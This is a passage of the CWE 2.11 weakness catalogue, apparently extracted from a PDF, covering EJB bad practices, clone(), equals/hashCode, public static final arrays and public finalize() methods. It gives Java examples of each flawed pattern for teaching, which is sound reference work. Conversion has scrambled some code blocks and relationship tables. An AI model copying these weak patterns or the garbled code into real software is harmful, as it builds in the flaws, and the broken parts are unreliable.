<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1414</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>419</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>850</td>
<td>CERT Java Secure Coding Section 05 - Methods (MET)</td>
<td>844</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1297</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1414</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>103</td>
<td>Struts: Incomplete validate() Method Definition</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>194</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>104</td>
<td>Struts: Form Bean Does Not Extend Validation Class</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>196</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>243</td>
<td>Creation of chroot Jail Without Changing Working Directory</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>434</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>253</td>
<td>Incorrect Check of Function Return Value</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>452</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>296</td>
<td>Improper Following of a Certificate’s Chain of Trust</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>525</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>304</td>
<td>Missing Critical Step in Authentication</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>536</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>325</td>
<td>Missing Required Cryptographic Step</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>571</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>329</td>
<td>Not Using a Random IV with CBC Mode</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>581</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>358</td>
<td>Improperly Implemented Security Check for Standard</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>622</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>475</td>
<td>Undefined Behavior for Input to API</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>799</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>568</td>
<td>finalize() Method Without super.finalize()</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>907</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>577</td>
<td>EJB Bad Practices: Use of Sockets</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>919</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>578</td>
<td>EJB Bad Practices: Use of Class Loader</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>920</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>922</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>580</td>
<td>clone() Method Without super.clone()</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>923</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>581</td>
<td>Object Model Violation: Just One of Equals and Hashcode Defined</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>924</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>628</td>
<td>Function Call with Incorrectly Specified Arguments</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>979</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-574: EJB Bad Practices: Use of Synchronization Primitives

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>ParentOf</td>
<td>675</td>
<td>Duplicate Operations on Resource</td>
<td>699 1045</td>
</tr>
<tr>
<td>ParentOf</td>
<td>ParentOf</td>
<td>694</td>
<td>Use of Multiple Resources with Duplicate Identifier</td>
<td>699 1078</td>
</tr>
<tr>
<td>ParentOf</td>
<td>ParentOf</td>
<td>695</td>
<td>Use of Low-Level Functionality</td>
<td>699 1079</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>MET10-J</td>
<td>Follow the general contract when implementing the compareTo() method</td>
</tr>
</tbody>
</table>

CWE-574: EJB Bad Practices: Use of Synchronization Primitives

Weakness ID: 574 (Weakness Variant)
Status: Draft

Description

Summary
The program violates the Enterprise JavaBeans (EJB) specification by using thread synchronization primitives.

Extended Description
The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use thread synchronization primitives to synchronize execution of multiple instances." The specification justifies this requirement in the following way: "This rule is required to ensure consistent runtime semantics because while some EJB containers may use a single JVM to execute all enterprise bean's instances, others may distribute the instances across multiple JVMs."

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages
- Java

Common Consequences

Other
Quality degradation

Demonstrative Examples

In the following Java example a Customer Entity EJB provides access to customer information in a database for a business application.

Java Example:

```java
@Entity
public class Customer implements Serializable {
    private String id;
    private String firstName;
    private String lastName;
    private Address address;
    public Customer() {...}
    public Customer(String id, String firstName, String lastName) {...}
    @Id
    public String getCustomerId() {...}
    public synchronized void setCustomerId(String id) {...}
    public String getFirstName() {...}
    public synchronized void setFirstName(String firstName) {...}
    public String getLastName() {...}
```
public synchronized void setLastName(String lastName) {
    @OneToOne()
    public Address getAddress() {
        public synchronized void setAddress(Address address) {
    }

However, the customer entity EJB uses the synchronized keyword for the set methods to attempt to provide thread safe synchronization for the member variables. The use of synchronized methods violate the restriction of the EJB specification against the use synchronization primitives within EJBs. Using synchronization primitives may cause inconsistent behavior of the EJB when used within different EJB containers.

Potential Mitigations

Implementation

Do not use Synchronization Primitives when writing EJBs.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>695</td>
<td>Use of Low-Level Functionality</td>
<td></td>
<td>1079</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>821</td>
<td>Incorrect Synchronization</td>
<td></td>
<td>1253</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td></td>
<td>1414</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP3</td>
<td>Use of an improper API</td>
</tr>
</tbody>
</table>

CWE-575: EJB Bad Practices: Use of AWT Swing

Description

Summary

The program violates the Enterprise JavaBeans (EJB) specification by using AWT/Swing.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use the AWT functionality to attempt to output information to a display, or to input information from a keyboard." The specification justifies this requirement in the following way: "Most servers do not allow direct interaction between an application program and a keyboard/display attached to the server system."

Time of Introduction

• Architecture and Design
• Implementation

Applicable Platforms

Languages
• Java

Common Consequences

Other
• Quality degradation

Demonstrative Examples

The following Java example is a simple converter class for converting US dollars to Yen. This converter class demonstrates the improper practice of using a stateless session Enterprise JavaBean that implements an AWT Component and AWT keyboard event listener to retrieve keyboard input from the user for the amount of the US dollars to convert to Yen.

Java Example:

```java
@Stateless
```
public class ConverterSessionBean extends Component implements KeyListener, ConverterSessionRemote {
    /* member variables for receiving keyboard input using AWT API */
    ...
    private StringBuffer enteredText = new StringBuffer();
    /* conversion rate on US dollars to Yen */
    private BigDecimal yenRate = new BigDecimal("115.3100");
    public ConverterSessionBean() {
        super();
        /* method calls for setting up AWT Component for receiving keyboard input */
        ...
        addKeyListener(this);
    }
    public BigDecimal dollarToYen(BigDecimal dollars) {
        BigDecimal result = dollars.multiply(yenRate);
        return result.setScale(2, BigDecimal.ROUND_DOWN);
    }
    /* member functions for implementing AWT KeyListener interface */
    public void keyTyped(KeyEvent event) {
        ...
    }
    public void keyPressed(KeyEvent e) {
    }
    public void keyReleased(KeyEvent e) {
    }
    /* member functions for receiving keyboard input and displaying output */
    public void paint(Graphics g) {...}
}

This use of the AWT and Swing APIs within any kind of Enterprise JavaBean not only violates the restriction of the EJB specification against using AWT or Swing within an EJB but also violates the intended use of Enterprise JavaBeans to separate business logic from presentation logic.

The Stateless Session Enterprise JavaBean should contain only business logic. Presentation logic should be provided by some other mechanism such as Servlets or Java Server Pages (JSP) as in the following Java/JSP example.

Java Example:

```
@Stateless
public class ConverterSessionBean implements ConverterSessionRemoteInterface {
    /* conversion rate on US dollars to Yen */
    private BigDecimal yenRate = new BigDecimal("115.3100");
    public ConverterSessionBean() {
    }
    /* remote method to convert US dollars to Yen */
    public BigDecimal dollarToYen(BigDecimal dollars) {
        BigDecimal result = dollars.multiply(yenRate);
        return result.setScale(2, BigDecimal.ROUND_DOWN);
    }
}
```

JSP Example:

```
<%@ page import="converter.ejb.Converter, java.math.*, javax.naming.*" %>
<%! 
    private Converter converter = null;
    public void jspInit() {
        try {
            InitialContext ic = new InitialContext();
            converter = (Converter) ic.lookup(Converter.class.getName());
        } catch (Exception ex) {
            System.out.println("Couldn't create converter bean.\r\n            + ex.getMessage()\n        }
    }
    public void jspDestroy() {
        converter = null;
    }
    %>
</html>
```
Potential Mitigations

Architecture and Design
Do not use AWT/Swing when writing EJBs.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>695</td>
<td>Use of Low-Level Functionality</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1000</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP3</td>
<td>Use of an improper API</td>
</tr>
</tbody>
</table>

CWE-576: EJB Bad Practices: Use of Java I/O

Weakness ID: 576 (Weakness Variant)  Status: Draft

Description

Summary
The program violates the Enterprise JavaBeans (EJB) specification by using the java.io package.

Extended Description
The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use the java.io package to attempt to access files and directories in the file system." The specification justifies this requirement in the following way: "The file system APIs are not well-suited for business components to access data. Business components should use a resource manager API, such as JDBC, to store data."

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• Java

Common Consequences
CWE-576: EJB Bad Practices: Use of Java I/O

Other
Quality degradation

Demonstrative Examples

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. In this example, the interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Java I/O API to retrieve the XML document from the local file system.

Java Example:

```java
@Stateless
public class InterestRateBean implements InterestRateRemote {
    private Document interestRateXMLDocument = null;
    private File interestRateFile = null;
    public InterestRateBean() {
        try {
            /* get XML document from the local filesystem */
            interestRateFile = new File(Constants.INTEREST_RATE_FILE);
            if (interestRateFile.exists())
            {
                DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
                DocumentBuilder db = dbf.newDocumentBuilder();
                interestRateXMLDocument = db.parse(interestRateFile);
            }
        } catch (IOException ex) {...}
    }
    public BigDecimal getInterestRate(Integer points) {
        return getInterestRateFromXML(points);
    }
    /* member function to retrieve interest rate from XML document on the local file system */
    private BigDecimal getInterestRateFromXML(Integer points) {...}
}
```

This use of the Java I/O API within any kind of Enterprise JavaBean violates the EJB specification by using the java.io package for accessing files within the local filesystem. An Enterprise JavaBean should use a resource manager API for storing and accessing data. In the following example, the private member function getInterestRateFromXMLParser uses an XML parser API to retrieve the interest rates.

Java Example:

```java
@Stateless
public class InterestRateBean implements InterestRateRemote {
    public InterestRateBean() {
    }
    public BigDecimal getInterestRate(Integer points) {
        return getInterestRateFromXMLParser(points);
    }
    /* member function to retrieve interest rate from XML document using an XML parser API */
    private BigDecimal getInterestRateFromXMLParser(Integer points) {...}
}
```

Potential Mitigations

Implementation

Do not use Java I/O when writing EJBs.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>695</td>
<td>Use of Low-Level Functionality</td>
<td>699</td>
<td>1079</td>
</tr>
<tr>
<td>ChildOf</td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>888</td>
<td>1414</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP3</td>
<td>Use of an improper API</td>
</tr>
</tbody>
</table>
CWE-577: EJB Bad Practices: Use of Sockets

Weakness ID: 577 (Weakness Variant)  Status: Draft

Description

Summary
The program violates the Enterprise JavaBeans (EJB) specification by using sockets.

Extended Description
The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: “An enterprise bean must not attempt to listen on a socket, accept connections on a socket, or use a socket for multicast.” The specification justifies this requirement in the following way: “The EJB architecture allows an enterprise bean instance to be a network socket client, but it does not allow it to be a network server. Allowing the instance to become a network server would conflict with the basic function of the enterprise bean-- to serve the EJB clients.”

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• Java

Common Consequences
Other
Quality degradation

Demonstrative Examples
The following Java example is a simple stateless Enterprise JavaBean that retrieves stock symbols and stock values. The Enterprise JavaBean creates a socket and listens for and accepts connections from clients on the socket.

Java Example:

```java
@Stateless
public class StockSymbolBean implements StockSymbolRemote {
    ServerSocket serverSocket = null;
    Socket clientSocket = null;
    public StockSymbolBean() {
        try {
            serverSocket = new ServerSocket(Constants.SOCKET_PORT);
        } catch (IOException ex) {...}
        try {
            clientSocket = serverSocket.accept();
        } catch (IOException e) {...}
    }
    public String getStockSymbol(String name) {...}
    public BigDecimal getStockValue(String symbol) {...}
    private void processClientInputFromSocket() {...}
}
```

And the following Java example is similar to the previous example but demonstrates the use of multicast socket connections within an Enterprise JavaBean.

Java Example:

```java
@Stateless
public class StockSymbolBean extends Thread implements StockSymbolRemote {
    ServerSocket serverSocket = null;
    Socket clientSocket = null;
    boolean listening = false;
    public StockSymbolBean() {
        try {
            serverSocket = new ServerSocket(Constants.SOCKET_PORT);
        } catch (IOException ex) {...}
        listening = true;
    }
    public String getStockSymbol(String name) {...}
    public BigDecimal getStockValue(String symbol) {...}
    private void processClientInputFromSocket() {...}
    private static final int SOCKET_PORT = 8080;
    private static final String CONSTANTS = System.getProperty("constants");
    private static final String BACKEND = System.getProperty("backend");
}
```
while(listening) {
    start();
}

public String getStockSymbol(String name) {...
public BigDecimal getStockValue(String symbol) {...
public void run() {
    try {
        clientSocket = serverSocket.accept();
    } catch (IOException e) {...
...
}

The previous two examples within any type of Enterprise JavaBean violate the EJB specification by attempting to listen on a socket, accepting connections on a socket, or using a socket for multicast.

**Potential Mitigations**

**Architecture and Design**

Implementation

Do not use Sockets when writing EJBs.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>888</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP3</td>
<td>Use of an improper API</td>
</tr>
</tbody>
</table>

---

**CWE-578: EJB Bad Practices: Use of Class Loader**

**Weakness ID: 578 (Weakness Variant)**

**Status: Draft**

**Description**

**Summary**

The program violates the Enterprise JavaBeans (EJB) specification by using the class loader.

**Extended Description**

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "The enterprise bean must not attempt to create a class loader; obtain the current class loader; set the context class loader; set security manager; create a new security manager; stop the JVM; or change the input, output, and error streams." The specification justifies this requirement in the following way: "These functions are reserved for the EJB container. Allowing the enterprise bean to use these functions could compromise security and decrease the container’s ability to properly manage the runtime environment."

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- Java

**Common Consequences**
Confidentiality
Integrity
Availability
Other
Execute unauthorized code or commands
Varies by context

Demonstrative Examples

Example 1:
The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. The interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Class Loader for the EJB class to obtain the XML document from the local file system as an input stream.

Java Example:

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
    private Document interestRateXMLDocument = null;
    public InterestRateBean() {
        try {
            // get XML document from the local filesystem as an input stream
            // using the ClassLoader for this class
            ClassLoader loader = this.getClass().getClassLoader();
            InputStream in = loader.getResourceAsStream(Constants.INTEREST_RATE_FILE);
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
            interestRateXMLDocument = db.parse(interestRateFile);
        } catch (IOException ex) {...}
    }
    public BigDecimal getInterestRate(Integer points) {
        return getInterestRateFromXML(points);
    }
    /* member function to retrieve interest rate from XML document on the local file system */
    private BigDecimal getInterestRateFromXML(Integer points) {...}
}
```

This use of the Java Class Loader class within any kind of Enterprise JavaBean violates the restriction of the EJB specification against obtaining the current class loader as this could compromise the security of the application using the EJB.

Example 2:
An EJB is also restricted from creating a custom class loader and creating a class and instance of a class from the class loader, as shown in the following example.

Java Example:

```
@Stateless
public class LoaderSessionBean implements LoaderSessionRemote {
    public LoaderSessionBean() {
        try {
            ClassLoader loader = new CustomClassLoader();
            Class c = loader.loadClass("someClass");
            Object obj = c.newInstance();
            /* perform some task that uses the new class instance member variables or functions */
            ...
        } catch (Exception ex) {...}
    }
    public class CustomClassLoader extends ClassLoader {
    }
}
```

Potential Mitigations

Architecture and Design
Implementation
Do not use the Class Loader when writing EJBs.

Relationships
CWE Version 2.11
CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP3</td>
<td>Use of an improper API</td>
</tr>
</tbody>
</table>

CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session

**Weakness ID:** 579 *(Weakness Variant)*

**Status:** Draft

**Description**

**Summary**
The application stores a non-serializable object as an HttpSession attribute, which can hurt reliability.

**Extended Description**
A J2EE application can make use of multiple JVMs in order to improve application reliability and performance. In order to make the multiple JVMs appear as a single application to the end user, the J2EE container can replicate an HttpSession object across multiple JVMs so that if one JVM becomes unavailable another can step in and take its place without disrupting the flow of the application. This is only possible if all session data is serializable, allowing the session to be duplicated between the JVMs.

**Time of Introduction**
• Architecture and Design
  • Implementation

**Applicable Platforms**

**Languages**
• Java

**Common Consequences**

**Other**
Quality degradation

**Demonstrative Examples**
The following class adds itself to the session, but because it is not serializable, the session can no longer be replicated.

**Java Example:**

```java
public class DataGlob {
    String globName;
    String globValue;
    public void addToSession(HttpSession session) {
        session.setAttribute("glob", this);
    }
}
```

**Potential Mitigations**

**Implementation**
In order for session replication to work, the values the application stores as attributes in the session must implement the Serializable interface.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1001</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td>888</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**
CWE-580: clone() Method Without super.clone()

**Description**

**Summary**
The software contains a clone() method that does not call super.clone() to obtain the new object.

**Extended Description**
All implementations of clone() should obtain the new object by calling super.clone(). If a class does not follow this convention, a subclass's clone() method will return an object of the wrong type.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- Java

**Common Consequences**

**Integrity**
- Other
- Unexpected state
- Quality degradation

**Demonstrative Examples**
The following two classes demonstrate a bug introduced by not calling super.clone(). Because of the way Kibitzer implements clone(), FancyKibitzer's clone method will return an object of type Kibitzer instead of FancyKibitzer.

**Java Example:**

```java
public class Kibitzer {
    public Object clone() throws CloneNotSupportedException {
        Object returnMe = new Kibitzer();
        ...
    }
}

public class FancyKibitzer extends Kibitzer{
    public Object clone() throws CloneNotSupportedException {
        Object returnMe = super.clone();
        ...
    }
}
```

**Potential Mitigations**

**Implementation**
Call super.clone() within your clone() method, when obtaining a new object.

**Implementation**
In some cases, you can eliminate the clone method altogether and use copy constructors.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>0</td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>0</td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>0</td>
<td>1002</td>
<td>SFP Secondary Cluster: Unexpected Entry Points</td>
<td>888</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP28</td>
<td>Unexpected access points</td>
</tr>
</tbody>
</table>
CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined

Weakness ID: 581 (Weakness Base)  Status: Draft

Description
Summary
The software does not maintain equal hashcodes for equal objects.

Extended Description
Java objects are expected to obey a number of invariants related to equality. One of these
invariants is that equal objects must have equal hashcodes. In other words, if a.equals(b) == true
then a.hashCode() == b.hashCode().

Time of Introduction
• Implementation

Applicable Platforms
Languages
• Java

Common Consequences
Integrity
Other
Other
If this invariant is not upheld, it is likely to cause trouble if objects of this class are stored in a
collection. If the objects of the class in question are used as a key in a Hashtable or if they are
inserted into a Map or Set, it is critical that equal objects have equal hashcodes.

Potential Mitigations
Implementation
Both Equals() and Hashcode() should be defined.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>850</td>
<td>CERT Java Secure Coding Section 05 - Methods (MET)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>MET09-J</td>
<td>Classes that define an equals() method must also define a hashCode() method</td>
</tr>
</tbody>
</table>

CWE-582: Array Declared Public, Final, and Static

Weakness ID: 582 (Weakness Variant)  Status: Draft

Description
Summary
The program declares an array public, final, and static, which is not sufficient to prevent the
array's contents from being modified.

Extended Description
Because arrays are mutable objects, the final constraint requires that the array object itself be
assigned only once, but makes no guarantees about the values of the array elements. Since the
array is public, a malicious program can change the values stored in the array. As such, in most
cases an array declared public, final and static is a bug.

Time of Introduction
• Implementation

Applicable Platforms
Languages
Common Consequences
Integrity
Modify application data

Demonstrative Examples
The following Java Applet code mistakenly declares an array public, final and static.

Java Example:

```java
public final class urlTool extends Applet {
    public final static URL[] urls;
    ...
}
```

Potential Mitigations
Implementation
In most situations the array should be made private.

Background Details
Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects’ state and behavior by adversaries who have access to the same virtual machine where your program is running.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>490</td>
<td>Mobile Code Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>849</td>
<td>CERT Java Secure Coding Section 04 - Object Orientation (OBJ)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>1002</td>
<td>SFP Secondary Cluster: Unexpected Entry Points</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>OBJ10-J</td>
<td>Do not use public static nonfinal variables</td>
</tr>
</tbody>
</table>

CWE-583: finalize() Method Declared Public

Weakness ID: 583 (Weakness Variant) Status: Incomplete

Description

Summary
The program violates secure coding principles for mobile code by declaring a finalize() method public.

Extended Description
A program should never call finalize explicitly, except to call super.finalize() inside an implementation of finalize(). In mobile code situations, the otherwise error prone practice of manual garbage collection can become a security threat if an attacker can maliciously invoke one of your finalize() methods because it is declared with public access.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• Java
Common Consequences
Confidentiality
Integrity
Availability
Alter execution logic
Execute unauthorized code or commands
Modify application data

Demonstrative Examples

The following Java Applet code mistakenly declares a public finalize() method.

Java Example:

```java
public final class urlTool extends Applet {
    public void finalize() {
        ...
    }
    ...
}
```

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Potential Mitigations

Implementation

If you are using finalize() as it was designed, there is no reason to declare finalize() with anything other than protected access.

Relationships

<table>
